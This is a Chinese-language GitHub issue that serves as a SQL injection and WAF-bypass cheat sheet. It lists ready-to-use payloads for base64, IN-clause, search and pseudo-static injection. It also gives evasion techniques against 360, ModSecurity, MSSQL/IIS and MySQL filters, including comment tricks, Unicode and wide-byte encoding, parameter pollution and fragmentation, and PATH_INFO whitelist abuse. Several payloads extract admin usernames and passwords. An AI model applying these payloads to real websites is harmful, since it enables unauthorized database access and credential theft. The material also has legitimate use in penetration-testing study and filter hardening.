-
Notifications
You must be signed in to change notification settings - Fork 99
Open
Labels
Description
When you feel like quitting, think about why you started.
0x01 SQL注入
base64加密的参数注入- 注意参数,不要单纯认为是字符
- 将注入代码转化为
base64即可实现注入 - 手工注入
- 判断字段
id=12 order by 9 id=MTIgb3JkZXIgYnkgOQ==- 爆显位
id=12 and 1=2 union select 1,2,3,4,5,6,7,8,9 id=MTIgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLDMsNCw1LDYsNyw4LDk=- 其余类似
Sqlmap可以利用tamper脚本 --base64encode.py
in注入- 普通注入的
SQL语句select * frommemberwhere id = $_GET['id']
in注入的SQL语句select * frommemberwhere id in ($_GET['id'])
- 判断是否注入
) and 1=1 and (1)=(1 ) and 1=2 and (1)=(1- 利用工具进行注入,目标地址也要加上一个
(闭合,即http://www.xxx.com/?id=1)
- 普通注入的
- 搜索型注入
- 闭合搜索
where like '%$id%' - 判断是否注入
a%'and 1=1 and '%'=' a%'and 1=2 and '%'='- 手工注入,带入各种语句即可
- 闭合搜索
- 伪静态注入
- 伪静态只是
URL重写的一种方式,隐藏传递的参数名 - 例如:
1.php?id=111伪静态后成为1.php/id/111.html - 既然伪静态能接受参数,必然不能防止注入的发生
- 判断是否注入
/view/cid/2/id/625-1/1 // 正常 and 1=1 /view/cid/2/id/625'/1 // 出错 and 1=2- 利用
Sqlmap,目标地址参数后面加上*,即/view/cid/id/625*,即可实现注入 - 手工注入
/view/cid/2/id/625'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html/view/cid/2/id/625'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html- 注意:普通
URL的GET注入中%20,%23,+等都可以用,但是伪静态不行,会被直接传递到到URL中,所以用/**/这个注释符号表示空格
- 伪静态只是
WAF绕过360- 普通注释绕过
- 常见的用于注释的符号:
#, //, --, /**/, --+, -- -, ;--a, ;%00- 使用
/**/在构造的查询语句中插入注释来绕过对空格的依赖或关键字的识别 #、--等用于终结语句的查询
- 内联注释绕过
- 只有
MySQL才会正常识别内联注入中的内容/*!code*/中的code
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- - - 只有
Unicode编码绕过Unicode有所谓的标准编码和非标准编码,如果我们用的UTF-8为标准编码,那么西欧语系使用的就是非标准编码
单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7 空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0 左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8 右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9- 例如:
?id=10%D6'%20AND%201=2%23 SELECT 'Ä'='A'; #1- 第一个利用了双字节绕过,也可以称为宽字节注入,对单引号进行转义,变成
%D6%5C%27,而%D6%5C构成了一个宽字节,吃掉了\,单引号就未被过滤,绕过 - 第二个用的是两种不同编码的字符比较,比较的结果可能是
True也可能False,关键在于Unicode编码种类太多,基于黑名单的WAF也无法全部处理
insert等价绕过- 正则
INSERT\\s+INTO.+?VALUES - 普通语句:
insert into user (user, pass) values ('admin', '123456') - 只要避免使用
values即可绕过 Bypass Payload
insert into user set user='admin', pass='123456'- 正则
HPF(HTTP Parameter Fragment)绕过HTTP分割注入,将正则在参数之间进行了分割,结果到了数据库执行查询时,合并了语句- 单一完整的正则原本可以过滤,但是分割后放置在不同的参数中,导致无法过滤,最后带入查询合并语句导致注入的产生
- 例如:
select * from admin where username = '$user' and password = '$pass'- 两个可控变量,就可以利用
HTTP分割注入 user处填
' xor extractvalue(1, concat(0x5c,(select group_concat(table_name)/*pass处填
*/from information_schema.table_constraints where constraint_schema=database())))#- 最后拼接后的语句
select * from admin where username = '' xor extractvalue(1, concat(0x5c,(select group_concat(table_name)/*' and password = '*/from information_schema.table_constraints where constraint_schema=database())))#'- 利用注释符
/* */注释掉了中间的' and password = ',然后又用#注释掉了后面的单引号
select * from admin where username = '' xor extractvalue(1, concat(0x5c,(select group_concat(table_name) from information_schema.table_constraints where constraint_schema=database())))- 由于是分割提交,后进行拼接,每个提交都没有触发正则中的过滤,所以成功绕过
- 通过白名单利用
PATH_INFO绕过- 白名单函数
function webscan_white($webscan_white_name,$webscan_white_url_t=array()) { $url_path=$_SERVER['PHP_SELF']; $url_var=$_SERVER['QUERY_STRING']; if (preg_match("/".$webscan_white_name."/is",$url_path)==1) { return false; } ... }- 白名单函数
webscan_white如果返回False,就不会进行正则过滤,从而成功绕过- 白名单函数第一个字段
$webscan_white_name的内容,在webscan_cache.php中
$webscan_white_directory='admin|\/dede\/|\/install\/';- 第一个
False成立只需要$_SERVER['PHP_SELF']中匹配到admin|\/dede\/|\/install\/ PHP_SELFPHP_SELF是PHP自己实现的一个$SERVER变量,是相对于文档根目录而言的,指的就是当前的页面地址- 比如:
http://www.xxx.com/path/index.php PHP_SELF就是/path/index.php
PATH_INFO- 环境变量,它是整个
URL中,在脚本标识之后、查询参数?之前的部分 - 比如:
http://www.xxx.com/path/index.php/view PATH_INFO就是/viewPHP_SELF就是/path/index.php/view
- 环境变量,它是整个
- 从上可以说明,
PHP_SELF有一部分是可控的 - 所以注入的时候,可以在
PHP_SELF中添加admin路径即可被认为是白名单,不会进行正则过滤,成功绕过
http://www.xxx.com/path/index.php?a=1' union select // PATH_INFO 添加 admin,绕过 http://www.xxx.com/path/index.php/admin/?a=1' union select - 白名单函数第一个字段
MySQL特性绕过- 反引号:利用
MySQL的特性 -- 为了区分MySQL中(关键字和保留字)与普通字符而引入的符号- 反引号可以用来绕过空格和正则,特殊情况下还可以将其做注释符用
union select`column`,2,3 @:利用MySQL的特性 --@用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量- 关键字后面插入
@或者@1=@替换空格
union select@1,2,3,4,5,6,7 union select@1=@1,2,3,4,5,6,7- 关键字后面插入
- 反引号:利用
- 普通注释绕过
ModSecurity防火墙ModSecurity使用正则表达式对Input SQL进行匹配检测,对select、union在敏感位置的出现都进行了拦截,但是ModSecurtiy有一个特点,它会对输入进行规范化,规范化的本意是用来防御基于编码格式、解析顺序的绕过- 例如:
ModSecurity可以防御这种形式的绕过
sel/**/ect- 规范化之后,攻击者的本来目的就暴露在了
ModSecurity的检测下,这时候再利用规则就可以很容易的防范注入 - 但是关键问题就在于
ModSecurity对注释的理解和MySQL的解析引擎理解不同,即
同一个业务规则在不同的系统中的理解语义不同往往可导致绕过ModSecurtiy对注释的理解- 会忽略前向半开注释并把后向半开注释当成当行注释(如果没找到后向半开的闭合注释)
- 这样的话,构造
Bypass Payload
id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user // URL 转义后 id=0 div 1 union#foo*/*bar select#foo 1,2,current_user- 根据
ModSecurity对注释的理解,语句成为
id=0 div 1 union select 1,2,current_user- 成功绕过
- 分段式
SQL注入绕过- 将原本的
Payload分成几段,写在不同的参数中,最后组合成完整的Payload,类似HPF - 例如,构造
Bypass Payload
hUserId=22768&FromDate=a1%27+or&ToDate=%3C%3Eamount+and%27&sendbutton1=Get+Statement // URL 转义后 hUserId=22768&FormDate=a1' or&ToDate=<>amount and'&sendbutton1=Get Statement- 而对于
MySQL的解析引擎来说,它会自动去除、转换这些连接控制符,从而变成
hUserId=22768&FromDate=a1%27+or&ToDate=<>amount and%27&sendbutton1=Get Statement- 成功绕过
- 将原本的
- 内联注释绕过
- 利用
MySQL特有的内联注释
select 1 union/*!select */version();select 1 union/*!32302 select */version(); - 利用
%0b分隔符绕过- 没有使用传统的空格,用
%0b代替
id=1%0band(select%0b1%20from%20mysql.x)- 没有使用传统的空格,用
MSSQL- 注释符绕过
- 普通注释符
%00, %16- 特殊注释符
// 特定条件实现 %22, %27 - 空格替换绕过
MSSQL+ASPX理论上用%00-%0a都可以替换空格
id=1%08and%081=user%08 %、!、[]绕过%
and 1=2 u%n%i%o%n s%e%l%e%ct 1,username,3,4,5 f%r%o%m admin!
or!!!1=1[]
select 1,2,3,4 from dual where id =1[]union[]select[]1,2,3,4 from[]Unicode编码绕过IIS对Unicode编码是可以解析的,即s%u0065lect会被解析为select- 可以利用
Python写个小脚本,跑出可以绕过的那个Unicode编码
for i in range(65536): result = hex(i).replace('0x','') if len(result) < 4: c = 4 - len(result) b = '0' * c zz = b + hex(i).replace('0x', '') else: zz = hex(i).replace('0x', '')
- 注释符绕过
MySQL%a0绕过MySQL中%a0代表空白符,可以代替空格- 但是
%a0是扩展字符里面的,当%a0加上另一个字符,可能在Web层面会解析成其他结果 - 例如
id=11' union%a0select version(),database() %23&Submit=a%a0和s组合成的%a0s在Web层解析成了乱码,但是在MySQL层解析时,%a0又会被解析成空白符,就这样成功绕过
- 括号
()绕过- 在
MySQL中,括号是用来包围子查询的,因此,任何可以计算出结果的语句,都可以用括号包围起来,而括号的两端,可以没有多余的空格,即用括号绕过空格
select(user())from dual where(1=1)and(2=2) - 在
URL编码绕过- 对
参数名进行URL编码- 对
参数值进行URL编码
- 对
- 对
参数值进行URL双重编码
id=1%25%32%30%25%36%31%25%36%45%25%36%34%25%32%30%25%33%31%25%33%44%25%33%31- 对
- 换行注释绕过
MySQL在执行语句时,注释会忽略掉当前行后面的所有语句,但是即使忽略了注释后面的语句,遇到换行的话还是会紧接注释之前的语句继续执行%23%0a--%23注释%0a换行Bypass Payload
// %23%0a id=1%20union%23%0aselect%20user%20from%20ddd%23%0a变形,在其中加入Emoji绕过
id=1 union select%23☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺%0auser(),version()%23%0a和/*!关键词*/
id=1 union%23%0aselect/*!USER*/(),/*!DATABASE*/()%23被拦截的话,还可以在中间添加%0d或者改用--即%2d%2d%0a
id=1 union%23%0d%0aselect username from users%23 id=1 union%2d%2d%0aselect username from users%23 id=1 union%2d%2d%0d%0aselect username from users%23%0a放在select和all之间
id=1 union/*!50000select%0aall*/username from users%23 id=1 union/*!50000select%0adistinct*/username from users%23 id=1 union/*!50000select%0adistinctrow*/username from users%23
WAF总结- 大小写绕过
- 最简单的绕过技术,针对正则表达式只针对大写或小写匹配的绕过技术
id=1 uNiON sElECt 1,2,3,4 - 替换关键字绕过
- 正则表达式会替换或删除关键字,根据正则表达式会进行几次匹配来绕过
id=1 uniUNiONon SELselectECT 1,2,3,4 - 编码绕过
URL编码绕过- 浏览器会对链接的非保留字进行编码,如空格
%20、单引号%27 - 普遍
URL编码即可绕过
id=1%2f%2a%2a%2funion%2f%2a%2a%2fselect 1,2,3,4- 特殊
URL两次编码绕过
id=1%252f%252a*/union%252f%252a*/select 1,2,3,4- 编码除了作用于空格,还可以作用与参数名、参数值、关键字
- 浏览器会对链接的非保留字进行编码,如空格
十六进制编码绕过- 使用
十六进制对某些敏感参数、方法进行编码来绕过检测
id=-15/*!u%6eion*//*!se%6cect*/1,2,3,4,SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))- 可以对单个字符进行十六进制编码,也可以对整个字符串进行十六进制编码
- 使用
Unicode编码绕过- 常用符号的编码
单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7 空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0 左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8 右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9id=1 union s%u00f0lect password from admin- 宽字节注入就是利用的
Unicode编码绕过- 单引号的转义变成
\',即%5c%27,%5c和前面的%d6组合成一个宽字节,吃掉了\,导致单引号未被过滤,成功绕过,即用%d6%27来代替单引号
id=10%d6'%20AND%201=2%23 - 单引号的转义变成
- 使用两种不同编码的字符进行比较,结果可能为
True也可能为False
- 注释绕过
- 常见注释符号
# -- -- - -- X(X为任意字符) --+ // /**/ /*!content*/ ;%00 ;--a- 普通注释绕过
- 使用
/**/在构造的语句中插入注释来规避对空格的依赖或关键字的识别,#、--用于终结语句的查询 /**/之中可以连用,即/**//**/
id=1/**//**/union/**/select 1,2,3,4 - 使用
- 内联注释绕过
/!content/只有MySQL才识别,使用的更多,可以内嵌/**/使用
id=1+/!union/**//**/all*//*!select*//*!user*/(),/*!database*/()#
- 等价函数字符替换绕过
- 等价函数绕过
- 当某个函数不能使用时可以找到其他的函数替代其实现
hex()、bin() ==> ascii() sleep() ==>benchmark() concat_ws()==>group_concat() mid()、substr() ==> substring() @@user ==> user() @@datadir ==> datadir() ...- 例如:
substring()和substr()无法使用时
?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 substr((select 'password'),1,1) = 0x70 strcmp(left('password',1), 0x69) = 1 strcmp(left('password',1), 0x70) = 0 strcmp(left('password',1), 0x71) = -1 - 等价符号绕过
and和or可以使用&&和||=不能使用,可以使用<>- 空格,空白符可以用以下符号代替
常用: %0a、%0b、%0c、%0d、%09、%20、%a0、/**/、+ Oracle 11g: %00 MSSQL: %01、%02、%03、%04、%05、%06、%07、%08、%09、%10、%11、%12、%13、%14、%15、%16、%17、%18、%19、%0e、%0f、%1a、%1b、%1c、%1d、%1e、%1f - 生僻函数绕过
- 例如
MySQL中的extractvalue和updatexml
- 例如
- 等价函数绕过
- 特殊符号绕过
- 科学记数法
id=0e1union select user 1e1from mysql.user+
id=0e1union(select+1,(select schema_name from information_schema.schemata limit 1))-
id=0e1union(select-1,(select schema_name from information_schema.schemata limit 1))`反引号`
id=0e1union(select 1,(select `schema_name` from information_schema.schemata limit 1))~
id=0e1union(select~1,(select schema_name from information_schema.schemata limit 1))!
id=0e1union(select!1,(select schema_name from information_schema.schemata limit 1))@`content`
id=0e1union(select@`id`,(select schema_name from information_schema.schemata limit 1)).1
id=.1union/*.1*/select password from users- 单引号、双引号
id=.1union/*.1*/select'1',password from users id=.1union/*.1*/select"1",password from users- 括号
id=0e1union(select!1,(select(schema_name)from information_schema.schemata limit 1))- 花括号
id=1 union(select%0aall{x users}from{x ddd}) id=1 union(select%0adistinct{x users}from{x ddd}) id=1 union(select%0adistinctrow{x users}from{x ddd})%
id=1 union sel%ect password f%r%o%m users%23%0a
id=1 union%23%0aselect user from users%23%0d%0a%2d%2d%0a(%0d0a换行)
id=1 union%23%0d%0aselect username from users%23 id=1 union%2d%2d%0aselect username from users%23 id=1 union%2d%2d%0d%0aselect username from users%23emoji图标
%23emoji图标%0a%0a放在select和all之间
id=1 union/*!50000select%0aall*/username from users%23 id=1 union/*!50000select%0adistinct*/username from users%23 id=1 union/*!50000select%0adistinctrow*/username from users%23 HPP- 重复参数污染,利用查询字符串多次出现同一个参数,根据容器不同得到不同结果
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/usersHPFHTTP参数分割,不同的参数之间进行语句分割结果到了数据库执行查询时再合并语句
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
- 大小写绕过